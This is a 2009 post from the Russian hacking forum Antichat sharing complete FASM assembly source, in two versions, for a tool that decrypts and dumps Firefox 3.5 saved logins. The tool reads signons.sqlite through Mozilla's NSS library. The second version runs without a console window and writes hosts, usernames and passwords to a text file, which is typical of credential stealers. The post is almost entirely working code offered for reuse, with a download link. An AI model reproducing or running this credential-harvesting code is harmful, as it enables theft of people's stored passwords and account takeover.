Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[ASM] Firefox 3.5 Passwords Recovery |

06.12.2009, 22:47
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
[ASM] Firefox 3.5 Passwords Recovery
Firefox 3.5 Passwords Recovery
Привет всем. Вот решил выложить, может кому и пригодится
Писал сам. Программа отображает в консоли пароли от Firefox 3.5. На работу с мастер-паролем не рассчитана.
Компилируем с помощью FASM (берем на flatassembler.net версию для Windows). После компиляции получаем файл весом 3kb  Тестировалось на Windows XP (x86).
По умолчанию максимальная длина имени пользователя и пароля - 90 символов. Кому нужно - меняем константы в начале исходника.
Код:
format PE
entry main
include 'win32a.inc'
USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90
section '.data' data readable writeable
pathWord db 'Path', 0
keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0
libNSS db 'nss3.dll', 0
libSQLite db 'sqlite3.dll', 0
nNSS_Init db 'NSS_Init', 0
nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0
nPK11_Authenticate db 'PK11_Authenticate', 0
nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0
nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0
nPK11_FreeSlot db 'PK11_FreeSlot', 0
nNSS_Shutdown db 'NSS_Shutdown', 0
nsqlite3_open db 'sqlite3_open', 0
nsqlite3_exec db 'sqlite3_exec', 0
nsqlite3_close db 'sqlite3_close', 0
iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0
profileNameMask db 'Profile%d', 0
profilePathMask db '%s\Mozilla\Firefox\%s', 0
dbName db 'signons.sqlite', 0
sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0
outputMask db 'Host: %s', 0Dh, 0Ah,\
'Username: %s', 0Dh, 0Ah,\
'Password: %s', 0Dh, 0Ah,\
'==================================================', 0Dh, 0Ah, 0
profileName rb 10 ; Имя профля (Profile0, Profile1, etc.)
profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
username rb USERNAME_MAX_LENGTH ; Имя пользователя
password rb PASSWORD_MAX_LENGTH ; Пароль
temp rb 256 ; Временная переменная для расшифровки
profilePath rb 256 ; Полный путь до профиля
appDataPath rb 256 ; Путь до директории APP_DATA
iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
firefoxPath rb 256 ; Путь до директории с установленным Firefox
outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль
hDB dd ? ; Дескриптор БД
hOutput dd ? ; Дескриптор консоли
writed dd ? ; Количество записанных данных на консоль
hKey dd ? ; Дескриптор ключа реестра
hNSS dd ? ; Дескриптор модуля NSS
hSQLite dd ? ; Дескриптор модуля SQLite
NSS_Init dd ? ;
PK11_GetInternalKeySlot dd ? ;
PK11_Authenticate dd ? ;
NSSBase64_DecodeBuffer dd ? ;
PK11SDR_Decrypt dd ? ; Дескрипторы функций
PK11_FreeSlot dd ? ;
NSS_Shutdown dd ? ;
sqlite3_open dd ? ;
sqlite3_exec dd ? ;
sqlite3_close dd ? ;
cbData dd ?
hKeySlot dd ?
struct PSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends
eSECItem PSECItem
dSECItem PSECItem
section '.code' code readable executable
main:
invoke GetStdHandle, STD_OUTPUT_HANDLE ; Получаем дескриптор консоли
mov [hOutput],eax ; И записываем его в hOutput
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим
je .close ;
mov [cbData], 256 ;
invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox)
cmp eax, 2 ; Если такого нет (мало ли), то выходим
je .close ;
invoke RegCloseKey, [hKey] ; Закрываем Ключ
invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox
cmp eax, 0 ;
je .close ;
invoke LoadLibrary, libNSS ;
cmp eax, 0 ;
je .close ;
mov [hNSS], eax ;
;
invoke GetProcAddress, [hNSS], nNSS_Init ;
mov [NSS_Init], eax ;
invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ;
mov [PK11_GetInternalKeySlot], eax ;
invoke GetProcAddress, [hNSS], nPK11_Authenticate ;
mov [PK11_Authenticate], eax ;
invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ;
mov [NSSBase64_DecodeBuffer], eax ;
invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ;
mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки:
invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса
mov [PK11_FreeSlot], eax ; необходимых функций
invoke GetProcAddress, [hNSS], nNSS_Shutdown ;
mov [NSS_Shutdown], eax ;
;
invoke LoadLibrary, libSQLite ;
cmp eax, 0 ;
je .close ;
mov [hSQLite], eax ;
;
invoke GetProcAddress, [hSQLite], nsqlite3_open ;
mov [sqlite3_open], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_exec ;
mov [sqlite3_exec], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_close ;
mov [sqlite3_close], eax ;
invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы
cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini
sub ebx, ebx
.proloop: ; В цикле будут обрабатываться профили
cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля
cmp eax, 0 ; Ну а если такого профиля нет, то выходим
je .close
cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
invoke SetCurrentDirectory, profilePath
cinvoke NSS_Init, profilePath
cinvoke PK11_GetInternalKeySlot
mov [hKeySlot], eax
cinvoke PK11_Authenticate, [hKeySlot], 1, 0
cinvoke sqlite3_open, dbName, hDB ; Открываем БД
cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос
cinvoke sqlite3_close, [hDB] ; Закрываем БД
cinvoke PK11_FreeSlot, [hKeySlot]
cinvoke NSS_Shutdown
inc ebx
jmp .proloop
.close:
invoke ExitProcess, 0
proc CallBack c, cols, rows, headers
push ebx
mov ebx, [rows + 4]
invoke lstrcpyn, temp, [ebx + 4], 256 ;
invoke lstrlen, temp ; Расшифровываем имя пользователя
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;
invoke lstrcpyn, temp, [ebx + 8], 256 ;
invoke lstrlen, temp ; Расшифровываем пароль и
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;
cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске
invoke lstrlen, outputBuffer
invoke WriteConsole, [hOutput], outputBuffer, eax, writed, 0 ; Выводим текст на консоль
pop ebx
sub eax, eax
ret
endp
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
advapi32, 'advapi32.dll',\
shell32, 'shell32.dll'
include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\advapi32.inc'
include 'api\shell32.inc'
Компилируем и запускаем через консоль и получаем множество записей вида:
UPD:
Версия с записью результатов в файл:
Код:
format PE GUI 4.0
entry main
include 'win32a.inc'
USERNAME_MAX_LENGTH equ 90
PASSWORD_MAX_LENGTH equ 90
section '.data' data readable writeable
pathWord db 'Path', 0
keyPath db 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe', 0
libNSS db 'nss3.dll', 0
libSQLite db 'sqlite3.dll', 0
outputFileName db 'passwords.txt', 0
nNSS_Init db 'NSS_Init', 0
nPK11_GetInternalKeySlot db 'PK11_GetInternalKeySlot', 0
nPK11_Authenticate db 'PK11_Authenticate', 0
nNSSBase64_DecodeBuffer db 'NSSBase64_DecodeBuffer', 0
nPK11SDR_Decrypt db 'PK11SDR_Decrypt', 0
nPK11_FreeSlot db 'PK11_FreeSlot', 0
nNSS_Shutdown db 'NSS_Shutdown', 0
nsqlite3_open db 'sqlite3_open', 0
nsqlite3_exec db 'sqlite3_exec', 0
nsqlite3_close db 'sqlite3_close', 0
iniPathMask db '%s\Mozilla\Firefox\profiles.ini', 0
profileNameMask db 'Profile%d', 0
profilePathMask db '%s\Mozilla\Firefox\%s', 0
dbName db 'signons.sqlite', 0
sqlCommand db 'SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins', 0
outputMask db 'Host: %s', 0Dh, 0Ah,\
'Username: %s', 0Dh, 0Ah,\
'Password: %s', 0Dh, 0Ah,\
'==================================================', 0Dh, 0Ah, 0
profileName rb 10 ; Имя профля (Profile0, Profile1, etc.)
profilePathPart rb 30 ; Неполный путь до профиля (вроде, Profile/xxxxxxxx.default)
username rb USERNAME_MAX_LENGTH ; Имя пользователя
password rb PASSWORD_MAX_LENGTH ; Пароль
temp rb 256 ; Временная переменная для расшифровки
profilePath rb 256 ; Полный путь до профиля
appDataPath rb 256 ; Путь до директории APP_DATA
iniPath rb 256 ; Путь до файла profiles.ini (APP_DATA\Mozilla\Firefox\profiles.ini)
firefoxPath rb 256 ; Путь до директории с установленным Firefox
outputBuffer rb USERNAME_MAX_LENGTH + PASSWORD_MAX_LENGTH + 80 ; Буфер для текста, выводимого на консоль
hDB dd ? ; Дескриптор БД
writed dd ? ; Количество записанных данных на консоль
hKey dd ? ; Дескриптор ключа реестра
hNSS dd ? ; Дескриптор модуля NSS
hSQLite dd ? ; Дескриптор модуля SQLite
hFile dd ? ; Дескриптор файла
NSS_Init dd ? ;
PK11_GetInternalKeySlot dd ? ;
PK11_Authenticate dd ? ;
NSSBase64_DecodeBuffer dd ? ;
PK11SDR_Decrypt dd ? ; Дескрипторы функций
PK11_FreeSlot dd ? ;
NSS_Shutdown dd ? ;
sqlite3_open dd ? ;
sqlite3_exec dd ? ;
sqlite3_close dd ? ;
cbData dd ?
hKeySlot dd ?
struct PSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends
eSECItem PSECItem
dSECItem PSECItem
section '.code' code readable executable
main:
invoke CreateFile, outputFileName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov [hFile], eax
mov [hFile],eax ; И записываем его в hFile
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, keyPath, 0, KEY_READ, hKey ; Открываем ключ в реестре HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe
cmp eax, 2 ; Если такого ключа нет (Firefox не установлен), то выходим
je .close ;
mov [cbData], 256 ;
invoke RegQueryValueEx, [hKey], pathWord, 0, 0, firefoxPath, cbData ; Считываем значение поля Path (путь до директории с установленным Firefox)
cmp eax, 2 ; Если такого нет (мало ли), то выходим
je .close ;
invoke RegCloseKey, [hKey] ; Закрываем Ключ
invoke SetCurrentDirectory, firefoxPath ; Устанавливаем текущей директорией директорию с Firefox
cmp eax, 0 ;
je .close ;
invoke LoadLibrary, libNSS ;
cmp eax, 0 ;
je .close ;
mov [hNSS], eax ;
;
invoke GetProcAddress, [hNSS], nNSS_Init ;
mov [NSS_Init], eax ;
invoke GetProcAddress, [hNSS], nPK11_GetInternalKeySlot ;
mov [PK11_GetInternalKeySlot], eax ;
invoke GetProcAddress, [hNSS], nPK11_Authenticate ;
mov [PK11_Authenticate], eax ;
invoke GetProcAddress, [hNSS], nNSSBase64_DecodeBuffer ;
mov [NSSBase64_DecodeBuffer], eax ;
invoke GetProcAddress, [hNSS], nPK11SDR_Decrypt ;
mov [PK11SDR_Decrypt], eax ; Загружаем необходимые библиотеки:
invoke GetProcAddress, [hNSS], nPK11_FreeSlot ; NSS3 и SQLite3 и получаем адреса
mov [PK11_FreeSlot], eax ; необходимых функций
invoke GetProcAddress, [hNSS], nNSS_Shutdown ;
mov [NSS_Shutdown], eax ;
;
invoke LoadLibrary, libSQLite ;
cmp eax, 0 ;
je .close ;
mov [hSQLite], eax ;
;
invoke GetProcAddress, [hSQLite], nsqlite3_open ;
mov [sqlite3_open], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_exec ;
mov [sqlite3_exec], eax ;
invoke GetProcAddress, [hSQLite], nsqlite3_close ;
mov [sqlite3_close], eax ;
invoke SHGetSpecialFolderPath, 0, appDataPath, CSIDL_APPDATA, 0 ; Получаем путь до директории Application Data текущего пользователяы
cinvoke wsprintf, iniPath, iniPathMask, appDataPath ; Получаем путь до файла profiles.ini
sub ebx, ebx
.proloop: ; В цикле будут обрабатываться профили
cinvoke wsprintf, profileName, profileNameMask, ebx ; Форматируем строку, чтобы она приняла вид Profile0, Profile1, etc.
invoke GetPrivateProfileString, profileName, pathWord, 0, profilePathPart, 30, iniPath ; Получаем путь до директории профиля
cmp eax, 0 ; Ну а если такого профиля нет, то выходим
je .close
cinvoke wsprintf, profilePath, profilePathMask, appDataPath, profilePathPart ; Форматируем строку, чтобы она имела вид APP_PATH\PATH_TO_PROFILE
invoke SetCurrentDirectory, profilePath
cinvoke NSS_Init, profilePath
cinvoke PK11_GetInternalKeySlot
mov [hKeySlot], eax
cinvoke PK11_Authenticate, [hKeySlot], 1, 0
cinvoke sqlite3_open, dbName, hDB ; Открываем БД
cinvoke sqlite3_exec, [hDB], sqlCommand, CallBack, 0, 0 ; Выполняем запрос
cinvoke sqlite3_close, [hDB] ; Закрываем БД
cinvoke PK11_FreeSlot, [hKeySlot]
cinvoke NSS_Shutdown
inc ebx
jmp .proloop
.close:
invoke CloseHandle, [hFile]
invoke ExitProcess, 0
proc CallBack c, cols, rows, headers
push ebx
mov ebx, [rows + 4]
invoke lstrcpyn, temp, [ebx + 4], 256 ;
invoke lstrlen, temp ; Расшифровываем имя пользователя
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; и помещаем в username
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, username, [dSECItem.SECItemData], USERNAME_MAX_LENGTH ;
invoke lstrcpyn, temp, [ebx + 8], 256 ;
invoke lstrlen, temp ; Расшифровываем пароль и
cinvoke NSSBase64_DecodeBuffer, 0, eSECItem, temp, eax ; помещаем в password
cinvoke PK11SDR_Decrypt, eSECItem, dSECItem, 0 ;
invoke lstrcpyn, password, [dSECItem.SECItemData], PASSWORD_MAX_LENGTH ;
cinvoke wsprintf, outputBuffer, outputMask, [ebx], username, password ; Форматируем текст по маске
invoke lstrlen, outputBuffer
invoke WriteFile, [hFile], outputBuffer, eax, writed, 0
pop ebx
sub eax, eax
ret
endp
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
user32, 'user32.dll',\
advapi32, 'advapi32.dll',\
shell32, 'shell32.dll'
include 'api\kernel32.inc'
include 'api\user32.inc'
include 'api\advapi32.inc'
include 'api\shell32.inc'
Скачать архив с исходными кодами и откомпилированными файлами: http://www.sendspace.com/file/apfnjg
Последний раз редактировалось whexp; 07.12.2009 в 07:59..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|